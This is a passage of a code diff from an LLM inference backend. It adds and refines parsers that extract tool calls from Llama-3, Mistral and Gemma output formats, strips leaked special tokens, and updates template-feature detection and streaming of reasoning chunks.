+            # Truncated ``.call(...)`` (no closing paren): reject in strict mode.
+            if not allow_incomplete and depth > 0:
+                truncated = True
+                break
+            body = content[open_idx:i]
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(_parse_llama3_kv_args(body)),
+                    },
+                }
+            )
+            # ``)`` then optional ``; NAME.call(`` chains the next built-in call.
+            chain = _LLAMA3_CALL_CHAIN_RE.match(content, i + 1)
+            if chain is None:
+                break
+            name = chain.group(1)
+            open_idx = chain.end()
+        # Past the consumed region: a second ``<|python_tag|>`` may carry more calls.
+        pos = content.find(_LLAMA3_PYTHON_TAG, i + 1)
+
+    # 2. ``<|python_tag|>{"name":.., "parameters":..}``; raw_decode peels ``; ``-separated objects.
+    if not out:
+        decoder = json.JSONDecoder()
+        idx = content.find(_LLAMA3_PYTHON_TAG)
+        while idx >= 0:
+            search_from = idx + len(_LLAMA3_PYTHON_TAG)
+            cursor = search_from
+            while cursor < len(content):
+                brace = content.find("{", cursor)
+                if brace < 0:
+                    break
+                # Stop at the next ``<|python_tag|>``.
+                next_tag = content.find(_LLAMA3_PYTHON_TAG, search_from, brace)
+                if next_tag >= 0:
+                    break
+                try:
+                    obj, end_offset = decoder.raw_decode(content[brace:])
+                except (json.JSONDecodeError, ValueError):
+                    cursor = brace + 1
+                    continue
+                if not isinstance(obj, dict):
+                    cursor = brace + end_offset
+                    continue
+                name = obj.get("name") or obj.get("function") or ""
+                args = obj.get("parameters") if "parameters" in obj else obj.get("arguments", {})
+                if isinstance(args, dict):
+                    args_str = json.dumps(args)
+                elif isinstance(args, str):
+                    args_str = args
+                else:
+                    args_str = json.dumps({"value": args})
+                if name:
+                    out.append(
+                        {
+                            "id": f"call_{id_offset + len(out)}",
+                            "type": "function",
+                            "function": {"name": name, "arguments": args_str},
+                        }
+                    )
+                cursor = brace + end_offset
+            idx = content.find(_LLAMA3_PYTHON_TAG, cursor)
+    return out
+
+
+# Llama-3 special-token sentinels (chainable, any order) plus the header role label.
+_LLAMA3_BARE_JSON_SENTINELS = (
+    "<|begin_of_text|>",
+    "<|eot_id|>",
+    "<|start_header_id|>",
+    "<|end_header_id|>",
+    "<|eom_id|>",
+)
+_LLAMA3_HEADER_ROLES = ("assistant", "user", "system", "tool", "ipython")
+
+
+def strip_llama3_leading_sentinels(content: str) -> str:
+    """Strip leading Llama-3 sentinels leaked from a prior turn; shared by the parser and the streaming guards."""
+    stripped = content.lstrip()
+    while True:
+        stripped = stripped.lstrip()
+        matched = False
+        for sentinel in _LLAMA3_BARE_JSON_SENTINELS:
+            if stripped.startswith(sentinel):
+                stripped = stripped[len(sentinel) :]
+                if sentinel == "<|start_header_id|>":
+                    for role in _LLAMA3_HEADER_ROLES:
+                        if stripped.startswith(role):
+                            stripped = stripped[len(role) :]
+                            break
+                matched = True
+                break
+        if not matched:
+            return stripped
+
+
+def _parse_llama3_bare_json(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Llama-3.2 bare ``{"name":.., "parameters":..}`` (strict). ``enabled_tool_names`` keeps ordinary JSON answers from being misread; ``None`` is name-agnostic."""
+    out: list[dict] = []
+    stripped = strip_llama3_leading_sentinels(content)
+    if not stripped.startswith("{"):
+        return out
+
+    decoder = json.JSONDecoder()
+    cursor = 0
+    n = len(stripped)
+    while cursor < n:
+        # Skip whitespace and the Llama-3 ``;`` inter-call separator.
+        while cursor < n and stripped[cursor] in " \t\n\r;":
+            cursor += 1
+        if cursor >= n or stripped[cursor] != "{":
+            break
+        try:
+            obj, end_offset = decoder.raw_decode(stripped[cursor:])
+        except (json.JSONDecodeError, ValueError):
+            break
+        if not isinstance(obj, dict):
+            break
+        name = obj.get("name") or obj.get("function") or ""
+        if not isinstance(name, str) or not name:
+            break
+        # Markerless JSON is ambiguous: only a call when the name is an enabled tool.
+        if enabled_tool_names is not None and name not in enabled_tool_names:
+            break
+        # ``parameters`` must be a dict (Llama-3 spec); ``arguments`` may be a dict or a
+        # JSON-string of one (OpenAI).
+        if "parameters" in obj:
+            args = obj.get("parameters")
+            if not isinstance(args, dict):
+                break
+            args_str = json.dumps(args)
+        elif "arguments" in obj:
+            args = obj.get("arguments")
+            if isinstance(args, dict):
+                args_str = json.dumps(args)
+            elif isinstance(args, str):
+                try:
+                    parsed = json.loads(args)
+                except (json.JSONDecodeError, ValueError):
+                    break
+                if not isinstance(parsed, dict):
+                    break
+                args_str = args
+            else:
+                break
+        else:
+            break
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+        cursor += end_offset
+    return out
+
+
+def _parse_mistral_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse Mistral ``[TOOL_CALLS]`` emissions: pre-v11 array/object and v11+ named forms."""
+    out: list[dict] = []
+    content = _strip_mistral_reasoning(content)
+    idx = content.find(_MISTRAL_TRIGGER)
+    if idx < 0:
+        return out
+
+    # Disambiguate the first occurrence: array / single object (pre-v11) or bare-name (v11+).
+    j = idx + len(_MISTRAL_TRIGGER)
+    k = j
+    while k < len(content) and content[k] in " \t\n\r":
+        k += 1
+    if k >= len(content):
+        return out
+
+    if content[k] == "[":
+        return _parse_mistral_array(content, k, id_offset, allow_incomplete = allow_incomplete)
+
+    if content[k] == "{":
+        # Pre-v11 single ``{"name":...}``; fall through to v11+ if it carries no ``name``.
+        end = _balanced_brace_end(content, k)
+        if end is not None:
+            try:
+                obj = json.loads(content[k : end + 1])
+                if isinstance(obj, dict) and obj.get("name"):
+                    _consume_mistral_call(content[k : end + 1], out, id_offset)
+                    return out
+            except (json.JSONDecodeError, ValueError):
+                pass
+
+    # v11+: walk every ``[TOOL_CALLS]``, parsing ``name{json}`` or ``name[ARGS]{json}``.
+    pos = idx
+    while pos >= 0:
+        cur = pos + len(_MISTRAL_TRIGGER)
+        nm = _MISTRAL_V11_NAME_RE.match(content, cur)
+        if not nm:
+            pos = content.find(_MISTRAL_TRIGGER, cur)
+            continue
+        name = nm.group(1)
+        after_name = nm.end()
+        after_name = _skip_mistral_call_id(content, after_name)
+        if content.startswith(_MISTRAL_ARGS_MARKER, after_name):
+            after_name += len(_MISTRAL_ARGS_MARKER)
+        while after_name < len(content) and content[after_name] in " \t\n\r":
+            after_name += 1
+        if after_name >= len(content) or content[after_name] != "{":
+            pos = content.find(_MISTRAL_TRIGGER, cur)
+            continue
+        end = _balanced_brace_end(content, after_name)
+        if end is None:
+            break
+        try:
+            args = json.loads(content[after_name : end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = content.find(_MISTRAL_TRIGGER, end + 1)
+            continue
+        if not isinstance(args, dict):
+            pos = content.find(_MISTRAL_TRIGGER, end + 1)
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {
+                    "name": name,
+                    "arguments": json.dumps(args),
+                },
+            }
+        )
+        pos = content.find(_MISTRAL_TRIGGER, end + 1)
+    return out
+
+
+def _parse_mistral_array(
+    content: str,
+    start: int,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Pre-v11 ``[TOOL_CALLS] [{...}, ...]`` array form."""
+    out: list[dict] = []
+    j = start
+    depth = 0
+    in_string = False
+    esc = False
+    while j < len(content):
+        ch = content[j]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    break
+        j += 1
+    # An unclosed array (no matching ]) is truncated; reject in strict mode.
+    if not allow_incomplete and depth != 0:
+        return out
+    body = content[start : j + 1] if depth == 0 else content[start:]
+
+    try:
+        arr = json.loads(body)
+        if isinstance(arr, list):
+            for obj in arr:
+                if isinstance(obj, dict):
+                    _consume_mistral_call(json.dumps(obj), out, id_offset)
+        return out
+    except (json.JSONDecodeError, ValueError):
+        if not allow_incomplete:
+            return out
+
+    # Healing path for unclosed arrays: walk top-level objects, advancing past each
+    # balanced ``{...}`` (re-scanning from every ``{`` would be quadratic ReDoS).
+    pos = 0
+    blen = len(body)
+    while pos < blen:
+        brace = body.find("{", pos)
+        if brace < 0:
+            break
+        end = _balanced_brace_end(body, brace)
+        if end is None:
+            break  # truncated mid-object: nothing after it can balance
+        _consume_mistral_call(body[brace : end + 1], out, id_offset)
+        pos = end + 1
+    return out
+
+
+def _consume_mistral_call(obj_text: str, out: list[dict], id_offset: int) -> None:
+    try:
+        obj = json.loads(obj_text)
+    except (json.JSONDecodeError, ValueError):
+        return
+    if not isinstance(obj, dict):
+        return
+    name = obj.get("name") or ""
+    # Mistral uses ``arguments``; accept the ``parameters`` alias too.
+    args = obj.get("arguments")
+    if args is None:
+        args = obj.get("parameters", {})
+    if isinstance(args, dict):
+        args_str = json.dumps(args)
+    elif isinstance(args, str):
+        args_str = args
+    else:
+        args_str = json.dumps({"value": args})
+    if name:
+        out.append(
+            {
+                "id": obj.get("id") or f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+
+
+def _parse_gemma_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Gemma 4: ``<|tool_call>call:NAME{k:<|"|>v<|"|>, ...}<tool_call|>``."""
+    out: list[dict] = []
+    for m in _GEMMA_TC_RE.finditer(content):
+        name = m.group(1)
+        body_start = m.end() - 1
+        end_marker = content.find(_GEMMA_TC_END, body_start)
+        # No closing <tool_call|> tag: truncated call, reject in strict mode.
+        if not allow_incomplete and end_marker < 0:
+            continue
+        scan_end = end_marker if end_marker >= 0 else len(content)
+        end = _gemma_balanced_brace_end(content, body_start, scan_end)
+        if end is None:
+            continue
+        body = content[body_start + 1 : end]
+        try:
+            args = _gemma_parse_mapping_body(body)
+        except Exception:
+            args = {}
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": json.dumps(args)},
+            }
+        )
+    return out
+
+
+def _balanced_brace_end(text: str, brace_pos: int) -> int | None:
+    """Index of the ``}`` matching ``{`` at ``brace_pos`` (ignores braces in JSON strings)."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    in_string = False
+    esc = False
+    i = brace_pos
+    while i < len(text):
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "{":
+                depth += 1
+            elif ch == "}":
+                depth -= 1
+                if depth == 0:
+                    return i
+        i += 1
+    return None
+
+
+_BARE_JSON_NAME_RE = re.compile(r'"name"\s*:\s*"([^"]+)"')
+
+
+def _top_level_bare_json_name(probe: str) -> Optional[str]:
+    """Top-level ``"name"`` (or ``"function"`` alias) of a bare-JSON object, else None; nested objects are skipped and truncated tails return None."""
+    if not probe.startswith("{"):
+        return None
+    decoder = json.JSONDecoder()
+    function_value = None  # the ``"function"`` alias, used only if no ``"name"`` key
+    i = 1
+    n = len(probe)
+    while i < n:
+        while i < n and probe[i] in " \t\r\n,":
+            i += 1
+        if i >= n or probe[i] == "}":
+            # End of object, no top-level ``"name"``: fall back to the ``"function"`` alias.
+            return function_value
+        if probe[i] != '"':
+            return None
+        try:
+            key, consumed = decoder.raw_decode(probe[i:])
+        except (json.JSONDecodeError, ValueError):
+            return None
+        if not isinstance(key, str):
+            return None
+        i += consumed
+        while i < n and probe[i] in " \t\r\n":
+            i += 1
+        if i >= n or probe[i] != ":":
+            return None
+        i += 1
+        while i < n and probe[i] in " \t\r\n":
+            i += 1
+        if key == "name":
+            if i < n and probe[i] == '"':
+                try:
+                    value, _consumed = decoder.raw_decode(probe[i:])
+                except (json.JSONDecodeError, ValueError):
+                    return None
+                return value if isinstance(value, str) else None
+            return None
+        if key == "function" and function_value is None and i < n and probe[i] == '"':
+            # ``"function"`` is an alias; record it but keep scanning (``"name"`` wins).
+            try:
+                value, consumed = decoder.raw_decode(probe[i:])
+            except (json.JSONDecodeError, ValueError):
+                return None
+            if isinstance(value, str):
+                function_value = value
+            i += consumed
+            continue
+        # Skip a non-name top-level value; a truncated one returns None (keep the text).
+        if i < n and probe[i] == "{":
+            end = _balanced_brace_end(probe, i)
+            if end is None:
+                return None
+            i = end + 1
+        elif i < n and probe[i] == "[":
+            end = _balanced_bracket_end(probe, i)
+            if end is None:
+                return None
+            i = end + 1
+        else:
+            try:
+                _value, consumed = decoder.raw_decode(probe[i:])
+            except (json.JSONDecodeError, ValueError):
+                return None
+            i += consumed
+    # No top-level ``"name"`` key: fall back to the ``"function"`` alias if seen.
+    return function_value
+
+
+def strip_leading_bare_json_call(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    """Remove leading Llama-3.2 bare-JSON calls (including a ``;``-chained run)
+    that ``strip_tool_markup`` misses; non-call text is unchanged and
+    ``enabled_tool_names`` gates like the parser. Consuming the whole chain
+    matters because the loops keep this text as next-turn assistant history: a
+    leftover executed call would be replayed alongside the structured
+    ``tool_calls``."""
+    remainder = text
+    stripped_any = False
+    while True:
+        probe = strip_llama3_leading_sentinels(remainder.lstrip())
+        # Skip the Llama-3 ``;`` inter-call separator between chained calls.
+        if stripped_any:
+            probe = probe.lstrip(" \t\n\r;")
+        if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+            return probe.lstrip() if stripped_any else text
+        if enabled_tool_names is not None:
+            # Only suppress when the leading object's TOP-LEVEL name is an enabled tool
+            # (a nested ``"name"`` is data); an unknown name is kept.
+            name = _top_level_bare_json_name(probe)
+            if name not in enabled_tool_names:
+                return probe.lstrip() if stripped_any else text
+        end = _balanced_brace_end(probe, 0)
+        if end is None:
+            return ""  # truncated bare-JSON call -- nothing recoverable
+        # A closed object must have the CALL SHAPE the parser accepts; an ordinary JSON
+        # answer it rejects is content, so keep it visible.
+        try:
+            obj = json.loads(probe[: end + 1])
+        except (json.JSONDecodeError, ValueError):
+            return probe.lstrip() if stripped_any else text
+        if not _bare_json_call_shaped(obj):
+            return probe.lstrip() if stripped_any else text
+        remainder = probe[end + 1 :]
+        stripped_any = True
+
+
+def _bare_json_call_shaped(obj) -> bool:
+    """The shape gate ``_parse_llama3_bare_json`` applies to a decoded object."""
+    if not isinstance(obj, dict):
+        return False
+    # The parser requires a TOP-LEVEL name; a nested one is data, not the call name.
+    name = obj.get("name") or obj.get("function") or ""
+    if not isinstance(name, str) or not name:
+        return False
+    if "parameters" in obj:
+        return isinstance(obj.get("parameters"), dict)
+    args = obj.get("arguments")
+    if isinstance(args, dict):
+        return True
+    if isinstance(args, str):
+        try:
+            return isinstance(json.loads(args), dict)
+        except (json.JSONDecodeError, ValueError):
+            return False
+    return False
+
+
+def _gemma_balanced_brace_end(text: str, brace_pos: int, hard_stop: int) -> int | None:
+    """Like ``_balanced_brace_end`` but skips ``<|"|>`` strings and matches {}/[] symmetrically."""
+    if brace_pos >= len(text) or text[brace_pos] != "{":
+        return None
+    depth = 0
+    i = brace_pos
+    while i < hard_stop:
+        if text.startswith(_GEMMA_STR_BEGIN, i):
+            close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+            if close < 0:
+                return None
+            i = close + len(_GEMMA_STR_END)
+            continue
+        ch = text[i]
+        if ch == "{" or ch == "[":
+            depth += 1
+        elif ch == "}" or ch == "]":
+            depth -= 1
+            if depth == 0:
+                return i
+        i += 1
+    return None
+
+
+def _gemma_parse_value(text: str, i: int):
+    """Parse one Gemma arg value at ``i``; returns ``(value, next_index)``."""
+    if text.startswith(_GEMMA_STR_BEGIN, i):
+        close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+        if close < 0:
+            return text[i + len(_GEMMA_STR_BEGIN) :], len(text)
+        return text[i + len(_GEMMA_STR_BEGIN) : close], close + len(_GEMMA_STR_END)
+    if text[i] == "{":
+        end = _gemma_balanced_brace_end(text, i, len(text))
+        if end is None:
+            return {}, len(text)
+        return _gemma_parse_mapping_body(text[i + 1 : end]), end + 1
+    if text[i] == "[":
+        j, depth = i, 0
+        while j < len(text):
+            if text.startswith(_GEMMA_STR_BEGIN, j):
+                k = text.find(_GEMMA_STR_END, j + len(_GEMMA_STR_BEGIN))
+                if k < 0:
+                    j = len(text)
+                    break
+                j = k + len(_GEMMA_STR_END)
+                continue
+            ch = text[j]
+            if ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    break
+            j += 1
+        body = text[i + 1 : j]
+        items: list[Any] = []
+        k = 0
+        while k < len(body):
+            if body[k] in " \t\n\r,":
+                k += 1
+                continue
+            v, k = _gemma_parse_value(body, k)
+            items.append(v)
+        return items, j + 1
+    # Primitive: number / true/false/null / bare identifier.
+    end = i
+    while end < len(text) and text[end] not in ",}]" and not text.startswith(_GEMMA_STR_BEGIN, end):
+        end += 1
+    if end == i:
+        # Stray delimiter, nothing consumed: advance past it so callers can't spin forever.
+        return "", i + 1
+    raw = text[i:end].strip()
+    if raw == "true":
+        return True, end
+    if raw == "false":
+        return False, end
+    if raw == "null":
+        return None, end
+    try:
+        return int(raw), end
+    except ValueError:
+        pass
+    try:
+        return float(raw), end
+    except ValueError:
+        pass
+    return raw, end
+
+
+def _gemma_parse_mapping_body(body: str) -> dict[str, Any]:
+    """Parse a Gemma argument mapping (content between `{` and `}`)."""
+    out: dict[str, Any] = {}
+    i = 0
+    n = len(body)
+    while i < n:
+        while i < n and body[i] in " \t\n\r,":
+            i += 1
+        if i >= n:
+            break
+        if body.startswith(_GEMMA_STR_BEGIN, i):
+            close = body.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+            if close < 0:
+                break
+            key = body[i + len(_GEMMA_STR_BEGIN) : close]
+            i = close + len(_GEMMA_STR_END)
+        else:
+            kstart = i
+            while i < n and body[i] != ":":
+                i += 1
+            key = body[kstart:i].strip()
+        while i < n and body[i] in " \t\n\r":
+            i += 1
+        if i < n and body[i] == ":":
+            i += 1
+        while i < n and body[i] in " \t\n\r":
+            i += 1
+        if i >= n:
+            out[key] = None
+            break
+        v, i = _gemma_parse_value(body, i)
+        out[key] = v
+    return out
diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py
index e8367ad08c..ff8faf2308 100644
--- a/studio/backend/core/tool_healing.py
+++ b/studio/backend/core/tool_healing.py
@@ -27,12 +27,15 @@ _TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
 
 # Pre-compiled patterns for tool-call XML parsing.
 _TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
-_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>call:([\w-]+)\s*\{")
+# Name class allows dots/hyphens for dotted Gemma names; whitespace-tolerant around
+# ``call`` / ``:`` since drift emits ``call: name{`` and ``call : name{``.
+_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w.\-]+)\s*\{")
 _TC_FUNC_START_RE = re.compile(r"<function=([\w-]+)>\s*")
 _TC_END_TAG_RE = re.compile(r"</tool_call>")
 _TC_GEMMA_END_TAG_RE = re.compile(r"<tool_call\|>")
 _TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
-_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>\s*")
+# Horizontal whitespace only so the newline + value indentation survive (_trim_param_value trims one newline).
+_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>[^\S\n]*")
 _TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
 _GEMMA_QUOTE = '<|"|>'
 _PARAM_CLOSE_TAG = "</parameter>"
@@ -43,7 +46,8 @@ _FUNC_CLOSE_TAG = "</function>"
 # must be identifier-shaped (start with a letter or underscore); a comma
 # followed by digits-then-colon is value text such as a timestamp or ratio
 # (`meet at 10:00, 11:00 tomorrow`), not a new key.
-_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w-]*\s*:")
+# Dots match the key-quoting scanner: a dotted key after a bare value must end the value at the comma.
+_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w.\-]*\s*:")
 
 
 def _balanced_brace_end(
@@ -223,7 +227,9 @@ def _quote_gemma_object_keys(src: str) -> str:
         while i < len(src) and src[i].isspace():
             i += 1
         key_name_start = i
-        while i < len(src) and (src[i].isalnum() or src[i] in "_-"):
+        # Dots match the parser's key/name charset: Gemma emits dotted argument keys
+        # (user.name:...) for namespaced schemas.
+        while i < len(src) and (src[i].isalnum() or src[i] in "_-."):
             i += 1
         key_name = src[key_name_start:i]
         colon_pos = i
@@ -267,7 +273,8 @@ def _quote_gemma_object_keys(src: str) -> str:
                     json.loads(raw.strip())
                     parts.append(raw)
                 except (json.JSONDecodeError, ValueError):
-                    parts.append(json.dumps(raw.strip()) if raw.strip() else raw)
+                    # Quote bare value; empty ({k:}) becomes "" so json.loads sees {"k":""} not invalid {"k":}.
+                    parts.append(json.dumps(raw.strip()))
         else:
             parts.append(src[key_start:i])
     return "".join(parts)
@@ -291,9 +298,35 @@ def _inside_open_parameter(content: str, pos: int) -> bool:
         last_param_start = match.start()
     if last_param_start < 0:
         return False
-    last_param_close = content.rfind(_PARAM_CLOSE_TAG, 0, pos)
-    last_func_close = content.rfind(_FUNC_CLOSE_TAG, 0, pos)
-    return last_param_start > max(last_param_close, last_func_close)
+    # The parameter's OWN close tag decides: if it closes after ``pos`` the position is
+    # argument data (even across literal function closes); an unclosed one falls back to func close.
+    own_close = content.find(_PARAM_CLOSE_TAG, last_param_start)
+    if own_close >= 0:
+        return own_close > pos
+    func_close = content.find(_FUNC_CLOSE_TAG, last_param_start)
+    return func_close < 0 or pos < func_close
+
+
+def _func_close_index(content: str, body_start: int, body: str) -> int:
+    """Index in ``body`` of the first ``</function>`` that is not argument
+    data (not inside an open parameter value); -1 when every close is data.
+    Taking the LAST close swallowed prose between the real close and a
+    literal ``</function>`` mentioned later in the answer."""
+    idx = body.find(_FUNC_CLOSE_TAG)
+    while idx >= 0:
+        if not _inside_open_parameter(content, body_start + idx):
+            return idx
+        idx = body.find(_FUNC_CLOSE_TAG, idx + 1)
+    return -1
+
+
+def _trim_param_value(val: str) -> str:
+    """Trim only the wrapping newline (not str.strip) so code/diff argument indentation survives."""
+    if val.startswith("\n"):
+        val = val[1:]
+    if val.endswith("\n"):
+        val = val[:-1]
+    return val
 
 
 def parse_tool_calls_from_text(
@@ -349,7 +382,10 @@ def parse_tool_calls_from_text(
             if kind == "json":
                 obj = json.loads(content[m.end() - 1 : end + 1])
                 name = obj.get("name", "")
-                arguments = obj.get("arguments", {})
+                # Accept ``parameters`` alias for ``arguments`` (Llama-3.2 drift inside a Hermes <tool_call>).
+                arguments = obj.get("arguments")
+                if arguments is None:
+                    arguments = obj.get("parameters", {})
                 if isinstance(arguments, dict):
                     arguments = json.dumps(arguments)
             else:
@@ -382,7 +418,7 @@ def parse_tool_calls_from_text(
             body_end = len(content)
         body_end = min(body_end, next_func)
         body = content[body_start:body_end]
-        close_idx = body.rfind(_FUNC_CLOSE_TAG)
+        close_idx = _func_close_index(content, body_start, body)
         if close_idx >= 0:
             span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
             body = body[:close_idx]
@@ -404,7 +440,7 @@ def parse_tool_calls_from_text(
                 val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
             else:
                 val = _TC_PARAM_CLOSE_RE.sub("", val)
-            arguments[pm.group(1)] = val.strip()
+            arguments[pm.group(1)] = _trim_param_value(val)
         else:
             valid_params = True
             for pidx, pm in enumerate(param_starts):
@@ -422,7 +458,7 @@ def parse_tool_calls_from_text(
                     val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
                 else:
                     val = _TC_PARAM_CLOSE_RE.sub("", val)
-                arguments[param_name] = val.strip()
+                arguments[param_name] = _trim_param_value(val)
             if not valid_params:
                 continue
 
@@ -444,6 +480,86 @@ def parse_tool_calls_from_text(
             }
         )
         call_spans.append((start, span_end))
+
+    if not tool_calls:
+        func_starts = [
+            fm
+            for fm in _TC_FUNC_START_RE.finditer(content)
+            if not _inside_open_parameter(content, fm.start())
+        ]
+        for idx, fm in enumerate(func_starts):
+            func_name = fm.group(1)
+            body_start = fm.end()
+            next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
+            end_tag = _TC_END_TAG_RE.search(content[body_start:])
+            if end_tag:
+                body_end = body_start + end_tag.start()
+            else:
+                body_end = len(content)
+            body_end = min(body_end, next_func)
+            body = content[body_start:body_end]
+            # Span for with_spans callers: through the </function> close if present, else body end.
+            span_end = body_end
+            if not allow_incomplete:
+                close_idx = _func_close_index(content, body_start, body)
+                if close_idx < 0:
+                    continue
+                body = body[:close_idx]
+                span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
+            else:
+                # Terminate at the real close so trailing prose doesn't leak in; no close -> whole body.
+                close_idx = _func_close_index(content, body_start, body)
+                if close_idx >= 0:
+                    body = body[:close_idx]
+                    span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
+
+            arguments: dict = {}
+            param_starts = list(_TC_PARAM_START_RE.finditer(body))
+            if len(param_starts) == 1:
+                pm = param_starts[0]
+                val = body[pm.end() :]
+                if not allow_incomplete:
+                    stripped_val = val.rstrip()
+                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                        continue
+                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+                else:
+                    val = _TC_PARAM_CLOSE_RE.sub("", val)
+                arguments[pm.group(1)] = _trim_param_value(val)
+            else:
+                valid_params = True
+                for pidx, pm in enumerate(param_starts):
+                    param_name = pm.group(1)
+                    val_start = pm.end()
+                    next_param = (
+                        param_starts[pidx + 1].start()
+                        if pidx + 1 < len(param_starts)
+                        else len(body)
+                    )
+                    val = body[val_start:next_param]
+                    if not allow_incomplete:
+                        stripped_val = val.rstrip()
+                        if not stripped_val.endswith(_PARAM_CLOSE_TAG):
+                            valid_params = False
+                            break
+                        val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
+                    else:
+                        val = _TC_PARAM_CLOSE_RE.sub("", val)
+                    arguments[param_name] = _trim_param_value(val)
+                if not valid_params:
+                    continue
+
+            tc = {
+                "id": f"call_{id_offset + len(tool_calls)}",
+                "type": "function",
+                "function": {
+                    "name": func_name,
+                    "arguments": json.dumps(arguments),
+                },
+            }
+            tool_calls.append(tc)
+            call_spans.append((fm.start(), span_end))
+
     if with_spans:
         return tool_calls, call_spans
     return tool_calls
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 17be222d93..4393c1b304 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -603,6 +603,17 @@ def _chat_content_chunk(completion_id, created, model_name, text) -> str:
     )
 
 
+def _chat_reasoning_chunk(completion_id, created, model_name, text) -> str:
+    """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block)."""
+    return _chat_chunk_sse(
+        completion_id,
+        created,
+        model_name,
+        delta = ChoiceDelta(reasoning_content = text),
+        finish_reason = None,
+    )
+
+
 def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str:
     """Terminal stop chunk (empty delta) carrying the finish reason."""
     return _chat_chunk_sse(
@@ -1136,6 +1147,7 @@ from core.inference.key_exchange import decrypt_api_key
 from core.inference.model_ids import public_model_id
 from core.inference.api_monitor import api_monitor
 from core.inference.llama_http import nonstreaming_client
+from core.inference.tool_call_parser import _strip_function_xml_calls, _strip_mistral_closed_calls
 from core.inference.passthrough_healing import (
     StreamToolCallHealer,
     heal_gate,
@@ -1294,6 +1306,11 @@ async def artifact_preview_frame(allow_network: bool = False):
     )
 
 
+# Whitespace/escape-tolerant bare-JSON tool-template detector: matches pretty-printed and
+# JSON-escaped ``{"name":`` plus the ``"function"`` alias.
+_BARE_JSON_NAME_MARKER_RE = _re.compile(r'\{\s*\\?"(?:name|function)\\?"\s*:')
+
+
 def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
     """Classify reasoning/tool capabilities via the GGUF classifier so flags
     match across backends. gpt-oss is overridden: Harmony routes reasoning and
@@ -1304,17 +1321,21 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
         model_identifier = model_id,
         log_source = "safetensors",
     )
-    # Our safetensors loop only parses <tool_call>{json}</tool_call>,
-    # <function=name>...</function>, and Gemma native <|tool_call>...<tool_call|>.
-    # Llama uses <|python_tag|>, Mistral uses [TOOL_CALLS]; advertising tools for
-    # those enables a pill the parser can't honour. GGUF is unaffected --
-    # llama-server normalises every format into structured deltas.
+    # Markers the parser recognises; drop the pill if a template advertises tools but uses none.
+    # The bare-JSON ``{"name":`` form is matched whitespace-tolerantly below.
+    _PARSER_MARKERS = (
+        "<tool_call>",
+        "<function=",
+        "<function name=",
+        "<|python_tag|>",
+        "[TOOL_CALLS]",
+        "<|tool_call>",
+    )
     if (
         flags.get("supports_tools")
         and chat_template
-        and "<tool_call>" not in chat_template
-        and "<function=" not in chat_template
-        and "<|tool_call>" not in chat_template
+        and not any(m in chat_template for m in _PARSER_MARKERS)
+        and not _BARE_JSON_NAME_MARKER_RE.search(chat_template)
     ):
         logger.info(
             "safetensors: template advertises tools but uses an "
@@ -1335,6 +1356,31 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
     return flags
 
 
+def _sf_reasoning_prefill_mode(
+    features: dict,
